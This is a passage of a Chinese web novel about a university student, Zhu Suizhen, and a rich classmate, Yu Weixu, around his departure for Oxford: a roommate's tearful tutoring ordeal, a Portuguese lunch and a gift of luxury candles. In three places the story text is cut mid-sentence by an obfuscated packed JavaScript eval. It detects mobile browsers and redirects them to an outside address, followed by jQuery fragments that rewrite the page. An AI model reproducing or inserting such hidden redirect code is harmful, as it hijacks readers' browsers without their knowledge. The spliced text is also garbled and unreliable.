六个人叽叽喳喳聊天,祝岁祯和俞惟叙两个故事主人公却各自安静坐着,没说一句话。 祝岁祯在看课程表,这半年的课程里,计算机类、数学类的课俞惟叙应该都学过了,报到那天祝岁祯跟他闲聊,知道他没学过金融、经济类的课程。 那么在M大的这一个月,他大概只会来听这些课。 旁边几个人聊着聊着,就开始问俞惟叙不来上课,在家干什么。 他说最近读教授们的论文、包括和一些牛津的学长们聊天,冒出来一个新idea,见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313093|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没有人发过,想抓紧时间把论文赶出来发arXiv期刊网上,占个座防止被别人抢先。等到英国了,拿去和心仪的导师讨论讨论。 坏消息:祝岁祯听不懂。 好消息:大家都听不懂。 结论:祝岁祯确实得好好学习,不要荒废了这四年。 接下来几天果然如祝岁祯所料,俞惟叙一节课都没来,直到周六晚上金融专业概论,俞惟叙才来听课。 本来应该在国庆前调休的一次课,因为任课老师要出国去开会,被调到今天上。 “嗯?你们怎么少了一个人。”他一边往座位里面走,一边问祝岁祯。 “远文吗?她今天下午去兼职了,说路上堵车,很快就到。” 俞惟叙坐下后,拎出一袋糖果给前排女生:“下午去西单路过一家卖gelato的店,他家巧克力种类特别多,满墙都是,挑了些带给你们。” 梦梦惊喜道:“哇,谢谢,鱼仔你更帅了!” “venchi!我知道这家,汉光百货里的是吧!上次和大黄逛汉光时看到了,吃得太撑没去买。” “你这一袋多少钱?”梦梦问。 “忘了,四百?反正满多少钱来着,会送一个冰淇淋的小挂件,留着给亲戚家小孩了。” 祝岁祯算了一下,这一颗巧克力就得二三十块钱…… 他舍友原本一看是巧克力,就没什么兴趣。可一听到这么一小包居然花了四百,齐刷刷又扭头回来:“我也要吃!” 俞惟叙凉凉地看了一眼舍友们:“人女孩儿吃的小零嘴,你们也好意思要?” 鸡哥和箫剑立刻抢答:“从现在开始我是女的。” 俞惟叙嫌弃地从又长又瘦的透明袋子里,捞出几个最小最薄的方块:“黑巧,苦的,你们吃吧。” 看着不同颜色的小方块上写着不同百分比数字,他俩挠挠头:“这啥意思?” “黑巧浓度,数字越大越纯。” “真爷们儿就要最纯的!”俩人把90%的俩拿走了。 然后苦得怀疑人生。 女生把剩下的分了分,给远文留了几个。 等远文气喘吁吁地溜进来,赶上扫码签到后,面对着桌子上的袋子愣了下。 “这是……?” “鱼仔给咱们分的巧克力,这牌子可贵了,你快尝尝。”梦梦解释道。 远文把书包放进抽屉,拿起袋子,上面金色花体英文印在侧面,在教室白炽灯的照耀下低调奢华。 她倒出来一颗,小心地一点点剥开锡箔外衣,生怕撕坏了。 这颗巧克力被做成三棱柱的样子,她咬下一口,极丝滑的固体在她嘴里瞬间融化,带着很香的坚果味道,比她以前吃过的便宜巧克力都好吃。 她低头吃完,眼泪掉了下来。 祝岁祯有些无聊,随意一瞥,震惊地看见远文低头在抹眼泪。 她捏了捏远文的肩膀,凑过去小声问她怎么了。 远文没看她,摇了摇头。擦了擦眼泪后沉默地起身,低着头出教室。 祝岁祯犹豫了几秒,也跟着她出去。 快步到卫生间,远文一看她也来了,抑制不住地抽泣。 祝岁祯在旁边的小隔间里,拽了些卫生纸出来给她擦眼泪:“怎么了乖?谁欺负你了吗?还是家里出什么事了?” 她抱着祝岁祯好一通哭,然后才哽咽地说: “我去做家教……那家的小孩根本就不学,我劝他,他骂我穷人才来做家教,没资格教育他…… “我实在劝不动就喊他妈妈进来一起听,他立马装样子。我讲啊讲,都快把知识点讲烂了,那小孩还是说不会…… “他妈妈就说我水平不行,不给钱,说以后不合作了……” 祝岁祯没想到还有这种人,心疼地摸了摸远文的头。 “为这事争执了一会儿,结果没赶上公交,下一趟等了好久。转地铁又被人撞了,从楼梯摔下去,好在不高没受伤…… “路上我妈问我挣多少钱,说我能挣钱了下个月就要少打生活费,钱得攒给弟弟。我说我没挣到,她说我骗她……” 祝岁祯光是听听都觉得窒息。 她只能安慰说,就当出去干销售,给客户送了个试用装,别着急想立刻就有人买。 如果家里不给钱的话就申助学金,缺钱了她也可以借,千万别太焦虑,三个舍友都会帮她的。 远文哭了一会儿,渐渐平复下来,让祝岁祯先回去听课,她要洗洗脸等眼睛不肿了再回。 祝岁祯回去后就被俩舍友抓住问,她凑过去和舍友们小声讲了下来龙去脉。 俞惟叙见她们窸窸窣窣的不知道在说什么,但又不好意思问。 远文回来以后,拿出袋子想再吃一颗巧克力缓解难过,舍友们眼瞧着她挑了一块75%浓度的黑巧,连忙抢走。 “吃这个吃这个,那个苦,报吃。” 仨人把手里大块的、夹心的、甜的巧克力放到她桌子上。远文看着那些花花绿绿的、圆的方的巧克力,鼻子一酸,又有点想哭。 20. 第二十章 已经九点了,下课的、自习的学生们开始往宿舍区移动,像归巢的鸟群一样。 梦梦和小羊一左一右安慰远文,祝岁祯在后面跟着。路过网球场后正要往南边走,突然肩膀被人拍了下。 她回头,俞惟叙勾了勾手,没出声,示意她跟他走。 两人悄无声息地,从网球场旁的岔路口拐向西边,这是军训时常走的那条回宿舍的路。现在夜跑锻炼的人不多,图书馆和外国语学院之间的马路行人寥寥。 俞惟叙好奇地问:“你们上课聊什么呢,我与世隔绝好几天了。” 祝岁祯脱口而出:“远文因为你送的巧克力太好吃,好吃得哭了。” 俞惟叙哑然失笑:“那我天天叫个外卖给你们宿舍送来。” “倒也不必,那么贵的东西。” 他知道她刚才在瞎说,接着问:“到底什么事儿,讲讲,我想听故事。” 祝岁祯怕远文不愿意让别人知道,就不好跟他说太细: “远文不是去兼职了嘛,碰上很过分的人,回来路上又各种不顺,就被气哭了。但是因为你给的巧克力很好吃,让她开心了很多。” 他点了点头,没再问细节:“哦,她做什么兼职啊?” 祝岁祯抬眸看他:“家教。你有资源介绍给她吗?事少、给钱爽快的那种。” 他眼里闪过一丝犹豫。俞惟叙认识的人里,找家教起码也是T大、P大的学生,但他还是说: “行,回头我问问吧。你对舍友还挺好的,我有认识的女生跟舍友关系就特别差。” 祝岁祯笑眯眯地说:“主要是她们对我也挺好。而且咱学校,每个班的学号是按姓名拼音首字母排序的,宿舍也是按这个顺序分的,四个人能从天南海北聚在这里,是多少辈子修来的缘分呐,要好好珍惜。” 俞惟叙念叨了一下两个宿舍的名字,发现还真是。 他嘴角微微上扬,揶揄道:“你这话像是我姥爷会说的。” “啊哈,我已经是老年人的灵魂了。话说,有多的家教资源也可以介绍给我。” 俞惟叙错愕地看她:“你也要做兼职?钱不够花吗?一个月生活费多少?” 她没想到他反应还挺大的,解释了下:“呃……省着点是够用的,但是万一呢?不过我就随便问问,也不一定去。” 他恢复平静:“哦,别为那点儿小钱去兼职,好好在学校里待着,外面很乱。你要缺钱或者需要帮忙,告诉我。” 俞惟叙突然又想起来:“我不还欠着你人情呢么,军训练射击的时候。有事就找我,别不好意思开口。” 祝岁祯的注意力都在他前面那句:“校外乱吗?北京这治安得排全国第一了吧。” “不是治安,是花花世界迷人眼,你这种没什么经验的小姑娘容易被骗。” 祝岁祯摇头晃脑:“切,又来了,我知道你要说什么,北京这地界上,除了你,别的男人都是大坏蛋呗?” 俞惟叙:“你……” 祝岁祯:“我要是不听你的,就又得告诉导员呗?能不能有点新鲜的。” 见他说不出话,她无所谓道: “你想太多啦少爷,我又不是什么明星大腕,没那么多人要害我。而且姐姐我比你大半岁,也是经历过风雨滴~” 俞惟叙给了她一个脑瓜崩:“就半岁,别跟我自称姐姐,不可能让你占这个便宜。” 祝岁祯捂着脑袋,气呼呼地看他。 他继续教育她,仿佛他才是那个大半岁的: “再说了,你宿舍没镜子吗?我给你买一个你照照吧。人要有自知之明,别出去给自己惹麻烦。学生就好好学习,挣钱以后再说。” 两人跟小学鸡似的拌了一路的嘴,祝岁祯心想这人真是的,对别人都爱搭不理,偏偏管她管得起劲…… 莫非是某种小众的弥赛□□结?或者是某种邪门的白骑士人格?用“拯救”别人、承担责任,来证明自己的价值? 不懂。 她只知道自己盼着他赶快走。不过走之前,如果能再给她们宿舍送些巧克力就好了…… “诶?这儿还有人工湖呢,走,去看看。” 俞惟叙好像发现了新大陆,指着前面的园子对祝岁祯说。 她摇头:“不要。” “为什么?” “之前去过了,没什么好玩的。” “哦,你去过了,那更应该带我逛逛。导游,你看我都快走了还没来过这里。” 祝岁祯加快步伐:“不去。” 俞惟叙勾起一抹玩味的笑,两步就抓到她书包肩带:“不管,带我去玩。” 祝岁祯加速想跑,俞惟叙单手气定神闲地拽着书包,把她往反方向拉走。 实在打不过,她无奈道:“哎呀不想去~小羊说那里晚上都是情侣……” 俞惟叙顿住,尴尬地“哦”了一声,松开她书包肩带,勉强挽尊: “嗐,你不早说。” 祝岁祯:…… 不行了,长得再帅也不行了。 她幻想自己是贝克汉姆,使用圆月弯刀技术一脚把俞惟叙踢飞到伦敦。 -.- 祝岁祯决定就在宿舍自习了。 她不管是去教室、还是图书馆,总有人来加好友闲聊。附近被打扰的同学频频投来不悦的眼神,搞得祝岁祯超级尴尬。 本来她觉得在宿舍学习容易跑神没自制力,但这么看来,出去也学不成,还不如在宿舍。 开学的第二周,小羊拿到了校文艺部干事的录用通知,以后M大有任何校级的文艺演出、比赛,她都会去帮忙组织。 如果演出抢不到票,也可以找她嘿嘿嘿。 梦梦进了院级学生会的外联部,以后就靠着她的嘴皮子给学院拉赞助了。同时,她的vlog账号粉丝数破千。 远文再接再厉,继续接新单。这回的学生是个小女孩,文文静静蛮乖巧。钱给的不算多,但家长承诺以后孩子成绩提升了,费用会涨。 只有祝岁祯,除了上课就是窝在宿舍自习,每天的乐子只有听舍友们讲故事,生活一成不变。 第三周,小羊和大黄闹了别扭,俩宿舍不再互相帮忙占位置了,祝岁祯发现就算是专业课俞惟叙也不来了。 他是不是已经到英国了啊? 上周俞惟叙也只来了两次,他不在的时候有同学来问他,大黄说俞惟叙国庆前就要走。 差不多就这周。 星期六因为国庆调休,要上一天概论和思修。 毕竟不是重要的专业课,同学们没什么心情在课堂上,好多人都拿着手机跟朋友聊天、查旅游攻略。 祝岁祯选择回家。 课上到一半,有人给她发消息。 俞惟叙:【中午有安排吗?】 祝岁祯看到这句话,愣了下。 他还没走吗?不是说国庆前走么?明天就十一了呀。 祝岁祯:【没有】 俞惟叙:【请我吃饭】 祝岁祯:【OK】 俞惟叙:【哪家】 祝岁祯:【没想法,你定】 过了一会儿,他发来链接。 俞惟叙:【葡萄牙菜,可以吗?之前想吃来着,他家没外卖】 祝岁祯:【可】 两人商量好在家属楼下碰面,祝岁祯放下手机。因为即将到来的久违的见面,剩下的课程也变得有点漫长。 她看了下这家店的人均,没问题,手头的钱还够。好在前些天买回家的高铁票,妈妈又给她多转了些钱。 唉,刚开学这花销确实有点大。 其实她是有小金库的,收到录取通知书后,大伯说要来给她祝贺。爸妈请大伯家吃饭的时候,大伯给她一万块红包。 但她很不想碰这笔钱。 当初她家被讹一百万,爸妈根本拿不出这笔巨款,求做生意的大伯帮帮忙借些钱周转,等房子卖了会还给他。 可大伯看当时祝岁祯的状态,觉得她这辈子就是个精神病了,无论如何也不帮忙。 时间紧迫,无奈之下爸妈只好赶快贱卖房产,比市场价低了二十万!东拼西凑地借,到现在还欠着钱。 见祝岁祯竟然超常发挥去了北京的名牌大学,大伯时隔一年来串亲戚。饭桌上大伯胡吹海喝过后,拿出红包,说是给她的升学奖励,但要到他跟前磕个头,承诺以后挣钱了孝敬大伯。 祝岁祯被气得……当时脸色就青了,想骂他但是又碍于爸妈的面子。她只说自己不磕头,这红包她也不要。 大伯母见气氛不好,赶紧把红包拿过来,亲热地塞给她让她收下,说大伯喝醉了开玩笑呢,别放在心上。 祝岁祯回家以后根本不想碰这红包,哪怕里面对她来说是笔巨款。她快恨死大伯了。 明明给几个有名的家具办公用品生产商供货,这些年赚得盆满钵满,可对自己的亲弟弟家见死不救,眼里只有利益没一点儿人情。 爸妈在她来北京之前,除了给她生活费,又额外给她转了五千块钱,让她拿一半大伯的红包。 他们说虽然咱家不愿意收这笔钱,但现在经济状况确实不太乐观,既然给了就拿着吧,你在北京那么远的地方,万一碰上什么事了能应个急。 -.- 下课后她找了个借口,没跟舍友一起去食堂,扫辆共享单车去家属区,还没停下就看到俞惟叙高高的身影。 “我以为你已经飞英国了呢,居然还在这里。待着干嘛?” 俞惟叙双手插兜:“没必要去这么早吧,我姥爷还想让我报到那天再落地。你俩打一架,谁赢了我听谁的。” 祝岁祯跟着他往西门走:“君子动钱不动手,谁给你掏钱你听谁的。” 出了西门往北,俞惟叙问:“你十一打算去哪儿玩?” “回家,我爸妈不放心我出去玩,在学校待着也没意思。” “十一这种节假日,回家合适。全国景点都人山人海,还涨价。” 祝岁祯奇怪地看了他一眼:“哟呵,你还知道节假日涨价呢?我以为你都不会关注价钱。” 俞惟叙笑道:“我是站在你的角度考虑。看我这人多么善于换位思考。什么时候回家?” 祝岁祯对他的自我评价不置可否:“明天早上的车。那你呢?你什么时候走。” “巧了,我也明天走,下午。” “哦~你们几号上课?” “8号。” 祝岁祯有点羡慕:“挺好的,你从小到大全世界都玩遍了吧?不知道我什么时候能岀一次国。” “出国还不简单?现在挺多免签的国家了,带个护照就能去玩。至于经费嘛,你好好学习,明年拿个奖学金,肯定够你出去玩一次了。” 话是这么说,但拿着奖学金出去玩,她多少有些不舍得。远文会把做家教的钱留着当生活费,祝岁祯也得存着,万一哪天家里没钱供她了。 但她也没必要和大少爷说这些,不是同一个世界的人。 人家房租随随便便就两、三万一个月、去上个学直飞头等舱就好几万,哦,或许是私人飞机接送呢……哪里懂得民间疾苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313094|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 走在路上又没话聊了,祝岁祯问:“你明天去,8号开学,这中间干什么?” 俞惟叙掰着指头给她算: “明天下午飞机,英国时间是晚上6点到。先在伦敦待两天,跟我之前的同学们见见面。然后去牛津,置买些家具用品收拾屋子。最后去学院办手续……差不多了,没闲着。” “哦哦,诶?牛津不在伦敦吗?”祝岁祯不明白,为什么他说先在伦敦待着,再去牛津。 俞惟叙也没懂:“牛津怎么会在伦敦?这是两个市。” 祝岁祯恍然大悟:“啊,我以为牛津大学和剑桥大学都在伦敦……” 聊着聊着,两人到了五道口,街道两边来来往往的人可真不少,原本就不宽敞的人行道还被各种自行车、小电驴霸占,走着真费劲。 从美食步行街进去,两旁的餐厅门口都有一长串坐着等叫号的食客,但他们去的这家葡萄牙餐厅,门口却还挺安静的。 毕竟是俞惟叙提议的地方,他有点担心了:“这家不会难吃吧?” “难吃还能开在这里?管他呢,来都来了。”祝岁祯直接推开门。 他们直接去了最里面的位置,扫码点餐,各点了一份好评最多的意面,然后又陆续点了金枪鱼、牛排沙拉。 祝岁祯往甜品区翻,居然看到了个做成雪茄模样的慕斯,但小小一根标价45元。 妈耶,还是算了。 但没一会儿,她就发现这个雪茄慕斯被加进了购物车。 行吧,既然是她请客,客人想吃什么就吃什么吧。 “没什么想点的了,下单吗?”俞惟叙放下手机。 祝岁祯一看,三百多了……好在她还撑得住:“OK。” 这时有个跟她同省的男生给她发信息,祝岁祯低着头回复。 俞惟叙也拿出手机,抽空给关理之回消息。晚上要去姥爷家吃饭,老妈让他早点收拾完学校这边的东西。 顺便刷下朋友圈,林期尔又晒了新买的游艇,背景是灯火璀璨的海湾。 她身着比基尼,和几个同样身上没几片布料的男男女女举着酒杯大笑。一张照片里,有个看着长得还行的白男搂着她亲她的脸,手按在她屁股上。 他敢断定,这条朋友圈绝对屏蔽了长辈。 俞惟叙直接把照片存下来,反手就发给关理之,让她好好看看她相中的人玩得有多花,趁早把这个八字还没一撇的姻缘断掉。 可关理之的双标程度超出他的想象,告诉他美国人就是开放一些、女孩子年轻爱玩没什么……之类的话。 把他气了个半死。 俞惟叙可是被关理之和姥爷严格要求长大的,不能说封建,但观念还是比较传统的。 再加上接受了很多年英国私校那种极注重优雅和礼仪的教育,让他不太能忍林期尔这样的性格,当个朋友还行。 看来在老妈那里,商业利益,已经高于他这个亲生儿子了。 他放下手机,见祝岁祯也正好聊完。 “谁又找你了。”他问。 “咱院有个我的老乡,问我怎么回家。但我俩不是一个市,车次不一样。” “男的女的?” 祝岁祯似笑非笑:“按理说应该先问名字吧,你居然问男的女的?” 俞惟叙下了判断:“男的。” “……对。” 俞惟叙继续猜:“他想跟你回家。” 祝岁祯噗呲一声笑出来:“说的什么话!那叫老乡结伴同行、路上有个照应,好吗?” “车次不一样,你们就不能一起回了对吧?” “对啊,他下午走,我上午。” “嗯。”少爷满意了。 祝岁祯转移话题:“菜还没上,好慢。” “饿了?” “有点。” 俞惟叙伸出左臂撸起袖子,右掌在左臂上斜着划拉两下:“新鲜鱼仔刺身,刚片下来的,给你吃。” 祝岁祯抿嘴笑着摇摇头。 俞惟叙十分体贴:“啊,我忘了,想要什么口味的酱油?这边为您推荐昆布酱油和柚子酱油。” 祝岁祯听不太懂后面那句,但婉拒:“谢谢,不吃生的。” 不过她想起来:“听说留学生都抱怨当地饭菜难吃,你过去了怎么办呢?学校食堂能合胃口吗?” 俞惟叙说:“难吃?还好吧,也有中餐馆。实在不行,东南亚菜、日韩菜也差不多,我不太挑食。” 大部分留学生觉得饭菜难吃是因为预算有限,国外的亚洲餐馆都不便宜。有钱的话想吃什么都能吃到,只是他不太好在祝岁祯面前说这话。 但祝岁祯自己想明白了:“说的也是。不然那么多有钱人都润去国外呢,要真没法吃,早回来了。” 几道菜陆续上桌,白色瓷盘里盛放着精致适量的菜品,雪茄慕斯却是用黑色盘子端来的。 “嚯,这造型,挺别致啊。”祝岁祯拿起手机拍照。 俞惟叙笑道:“我也是看见这个觉得好玩,给你点的。” 祝岁祯说:“哎呀,别啊,一人一半吧。” 俩人谁都没说话,埋头干饭,二十分钟就搞定了。 “吃饱了吗?走。”俞惟叙起身。 “等下,我还没付款。” 祝岁祯拿起手机要解锁,俞惟叙走到她这边来,拎起她的书包:“我已经付过了,走吧。” 祝岁祯瞪大眼,仰头看他:“不是说我请客吗?” 俞惟叙嘴角挂着一抹笑:“逗呢,我能让女生掏钱?走了。” 21. 第二十一章 “不是……咱都说好了呀……”祝岁祯犹豫道。 俞惟叙直接俯身握着她手腕,把她带起来:“走了走了,先出去。” 周围人听见动静,都在好奇地看这对俊男美女。 “那我又欠你钱了……”祝岁祯不得不跟着他起身。 “不欠,这是你作为我饭搭子的报酬。我一个人可吃不了几样菜,多亏了你陪着我。” 走出大门,祝岁祯停下:“我把钱A给你吧。” 俞惟叙两手按住她肩膀,带着她往左边走:“哎呀不用,我又不缺这一百两百的。你不是说哪个舍友要过生日了吗?就当我随礼了好吧?” 见她还过意不去,俞惟叙又说:“以后万一哪天我落魄了,需要祝总接济,您记得我就成。” 祝岁祯只能道谢。 俞惟叙问她要不要逛逛街,但过了马路之后是五道口购物中心,她对商场没兴趣。商场西边倒是有个设计感十足的二层建筑,门头写着PAGEONE。 “这是……文具店?书店?” “书店。” 祝岁祯好奇地走进去,门口有卖毛绒玩具的、有卖文创文具的,里面是整排整排的书架,店里还挺热闹。 她想起什么,转过身:“算了,不逛了,你是不是得早点回去啊。” 俞惟叙看了眼时间:“没事,还早。” “书店嘛,去学校图书馆一样的,走吧。” 从购物中心旁边的马路回学校,两人默默走了一会儿,俞惟叙突然开口:“祝岁祯,问你个事儿呗?” “但说无妨。” “你这四年,真不打算谈恋爱了?” 祝岁祯差点儿被自己口水呛到。 她看了看俞惟叙:“为什么突然问这个?” 俞惟叙有点不自然:“嗐,就我一哥们儿,人还不错的,嗯……” 祝岁祯顿了顿,不知道为什么心里有点不高兴:“哦,喊我出来吃饭,就是为了这事啊。” 俞惟叙赶忙解释:“不是,就顺便问问。其实是好多天之前的事了,当时我跟我朋友说,人家姑娘正伤心呢,不方便提。” 祝岁祯缓缓往前走:“这样啊。” 她现在根本没从前男友的离世中走出来,路齐江真是个完美的男友,祝岁祯被他宠得实在很难看上别人了,也没什么信心步入下一段感情。 俞惟叙介绍的朋友肯定都挺有钱的,但多半是不好伺候的大少爷。 虽然她吐槽俞惟叙管得多,但说实话,他这样长得好、家世好、性格还挺好的男生,已经算稀有品种了,是要放进博物馆里展览的程度。 他的兄弟们可就不一定了,她并不想找罪受。 思及此,她认真地对他说:“我一般不把话说死,省得以后打脸,但大概不谈,麻烦你帮忙拒绝掉吧。” 祝岁祯又自认比较贴心地给他一个理由:“我这几年,肯定要把时间放在冲年级排名上,毕竟想要奖学金嘛。” 俞惟叙问:“你要是找个有钱男朋友,还在乎那点儿奖学金?” 祝岁祯不怎么赞同:“上个班还得看领导脸色呢,花男朋友钱同理。我还是自己挣吧,心里踏实。而且奖学金不光是钱,写简历上以后找工作什么的,不也蛮有用。” 她仔仔细细地给他分析,可说着说着,俞惟叙脸上竟然漾开一点笑意。 祝岁祯不说话了,这个人在笑吗?笑什么? 见祝岁祯略带讶异地看他,俞惟叙立刻把嘴角往下压了压。 她没想起自己哪句话好笑,再看他的时候,那笑容已经不见了。 刚才应该是幻觉。 “你今下午要收拾行李吗?”祝岁祯问他。 “对,但也没太多要收拾的。拿点资料,把电脑带回去就差不多了,剩下的看我妈想怎么办……哎?你回宿舍吗?” “回。怎么了?” “有个香薰你带走吧,差点儿忘了。昨天半夜整理出来的。” 祝岁祯的眼神变得奇怪:“香薰?哇哦,你果然好精致,我们女生宿舍都没人用这个……” 俞惟叙无奈解释:“这我搬来之前,家政阿姨一块带过来的,都没拆过。可能我妈不爱用吧,扔给我了。” “这是你妈妈的?”祝岁祯问。 “对。她各种日化产品特别多,一买就是一整套,随便用用就换别的,然后我跟我爸就捡她不要的用。” 祝岁祯惊讶道:“叔叔也会用吗?” “我爸本来就用些普通的、或者出差酒店里的,但后来对比了一下,发现我妈不要的都是好东西……自此以后他就也看不上外面那些便宜货了,用完就回家拿她剩的。” 俞惟叙笑道:“你能想象么?我爸一个大男人,愣是把什么洗面奶、精华液的英语、法语名字全记住了。” 祝岁祯问:“就为了方便找自己要用的吗?” “对啊,而且有时候出国去访问、做学术交流,我妈让他带些东西回来,不认识哪儿成呢?老婆交待的事必须办好喽。” 祝岁祯想了下:“国内没有吗?我只听说会比国外贵一些。” “早些年有的品牌没专卖店,而且好像还有产地的区别?不太懂。前几年她爱用瑞士的几家护肤品,我爸说还挺贵的。” 回家属区,跟着他上二楼,客厅里和上次来的时候没太大变化,阳台旁角落里还放着半袋猫砂。 俞惟叙去冰箱拿了瓶椰子水给她,指了指侧边的房间:“东西在书房。” 祝岁祯跟着他进去,视线被书桌吸引。 这是个蛮大的胡桃木写字台,桌边带着一个控制升降的仪器。简洁的桌面上立着两个和梦梦同款的屏幕,不同的是多了个屏幕挂灯。 桌面上有键盘和笔电,还有一杯小小的多肉。 他拎起书架旁一个袋子:“东西有点大,好拿吗?” 祝岁祯惊呆:“说好的香薰呢?我以为就一个瓶子。” 他翻了翻袋子里的盒子:“好像是一整套吧,香薰蜡烛、香氛之类的。” 祝岁祯犹豫接过来:“这……都给我吗?” “嗯,你拿着玩吧,放这里也是浪费,我妈的香水有一整柜子,她不缺这点。” “哦哦……那谢谢啦。” “甭客气,我还得谢谢你,家政阿姨不用再拿回去。” 俞惟叙给她后,又不太放心:“这个袋子能行么?你等一下。” 他进了对面的卧室,在衣柜里又拿出来一个橙色的大袋子:“来,套上,省得半路坏了。” 祝岁祯半抱半拎地往外走,到门口后,回头看他:“那,我走啦,你一路顺风。” 俞惟叙扶着门框,眼含笑意地看她:“嗯,好。” “去了多发朋友圈,拍点好看的照片什么的。” “哈哈,行。你明天回家,路上也小心。” “嗯嗯,拜拜啦~” 祝岁祯下楼,发现自己竟然还挺不舍的…… 院里少了个造福众人眼睛的大帅哥,还是蛮可惜的。 回到宿舍,舍友们睡得正香,她怕拆包装的声音吵到别人,就把袋子放桌下。 下午上完课,吃了饭,回宿舍收拾行李。梦梦和小羊直接翘了最后一节去赶飞机;远文不回家,她嫌来回车票太贵。 祝岁祯把行李箱放地上摊开,开着免提和妈妈聊天。 甄念:“别带太多东西啊,一套换洗的衣服就可以了,家里什么都有。也不用给我们带什么特产,现在北京那些稻香村啊、烤鸭啊,网上都能买。” 祝岁祯和妈妈聊完,想找个袋子装衣服,和别的东西隔开,正好看到桌子下俞惟叙给她的那大袋子。 她把里面的东西一个个拿了出来。 有两个浅玉色的盒子、一个深黛色的盒子,一个红色的盒子,盒子上印着金色的品牌名。 “TRVDON”? 没听说过。 撕开贴纸,打开盒子一看,这是个……蜡烛? 比她手还大的深色玻璃杯,杯子前面一个金色繁复的图案,蜡烛散发出深邃的木质香气,直觉告诉她这玩意儿不便宜。 她又拆开另一个盲盒,这回开出来的东西奇奇怪怪。一个蛮大的圆柱形瓶子,旁边放着喷雾用的导管,但还有个椭圆的东西,捏起来软软的。 第三个大盒子,大杯子蜡烛x2。 第四个大盒子,又是她看不懂的套装。 她带着满脑子的疑问,拿起手机拍照识图。 这牌子不叫“TRVDON”,叫“TRUDON”,查完,她双目无神地放下手机。 好好好,不愧是富二代,这几样东西,大杯子蜡烛八九百、香薰喷雾两千、融蜡灯套装三千……都怪她不识货,当时就应该直接拒绝的。 盒子的贴纸撕都撕了,这也不好给人退回去。更何况他现在肯定不在学校了。 虱子多了不怕痒,债多了也没法愁,欠人几百块饭钱的人情,又再欠了这么些个奢侈品,她已经看开了,随缘吧。 -.- 国庆的第一天,地铁上挤满了带着行李箱、行李袋的人们,有的回家、有的来玩。天南地北的口音在车厢里交汇,融进中英双语报站广播,随着呼啸的列车声飞驰而去。 爸妈在高铁站接她,到家后和爸妈聊着天、美美吃了一顿。躺床上玩手机,甄念帮她收拾行李箱。 “祯祯,你买新衣服啦?” 祝岁祯转头看她,妈妈拎起行李箱里的橘色纸袋,把里面的衣服拿出来,“哦,旧衣服啊。” 祝岁祯转头继续看手机:“那只是个袋子,固定衣服用的。” 甄念帮她收拾好,顺手把橙色袋子放阳台,攒着回头装东西用。 祝岁祯的小房间在临街那面,凌晨楼下有喝醉了的男人耍酒疯大吼,把她给吓醒了。 她心里问候了这傻叉的祖宗十八代,怒气冲冲过去把窗子锁紧,回到床上却睡不着了。点开手机看朋友圈,最右侧显示俞惟叙的头像,旁边一个小红点。 哦?他是不是到了呀! 祝岁祯立刻点进去,一秒钟后,刷新出来俞惟叙刚发的朋友圈。 【三年】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313095|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 两张图片,一张是头等舱配备各种饮料小食的宽敞座位,另一张是机场航站楼的落日。 她点进蓝色字体的定位,查了一下,是希思罗机场。 唉,真好。 她在N线城市老破小房间里忍着半夜的喧嚣,对方在另一个时区的头等舱里看日落,开启长达两年的世界级名校交换生活。 退出地图,她点了个赞。 大概也就二十来秒,屏幕上面突然弹出一条消息。 俞惟叙:【在干什么,还不睡!】 吓她一跳! 祝岁祯:【睡了,刚才醒了。你到啦】 俞惟叙:【嗯。为什么醒了】 祝岁祯:【楼下有人在吵,关上窗户好多了】 俞惟叙:【我以为你熬夜出去嗨。睡眠不好吗?】 祝岁祯:【……睡眠还不错。】 祝岁祯:【话说,你给我的那些香薰,也太贵了!什么时候放假回国,我必须请你个大的】 俞惟叙:【行啊,我回去了告诉你。你有什么想要的也可以告诉我,本人提供跑腿服务】 祝岁祯:【啊哈哈哈,我可使唤不起】 俞惟叙:【要下飞机了,回聊】 祝岁祯:【拜~一路顺利】 就在祝岁祯重新进入梦乡的时候,俞惟叙下了出租车,进入伦敦市中心的丽兹酒店。 简单冲个澡换身衣服,他和赶来见他的两位英国好友一起去旁边The Wolseley简单吃了个晚餐,聊一聊这三年发生的趣事,吐槽伦敦的米其林三星餐厅周日周一都不开门,搞得他们只能在这里凑合。 假期的第二天,祝岁祯因为生物钟,7点多就醒了,吃完早饭睡个回笼觉,她下楼去小卖部买椰子水。 “诶?祯祯姐!你回来了!” 祝岁祯结账时,旁边响起一道声音。 她回头,是个瘦高个的男生,白白净净挺斯文,长得很俊秀,像梦梦追的那些爱豆。 可惜她想不起来是谁。 “我,何希簏。” “啊,是你啊!我昨晚没睡好,脑子不太清醒哈哈哈……” 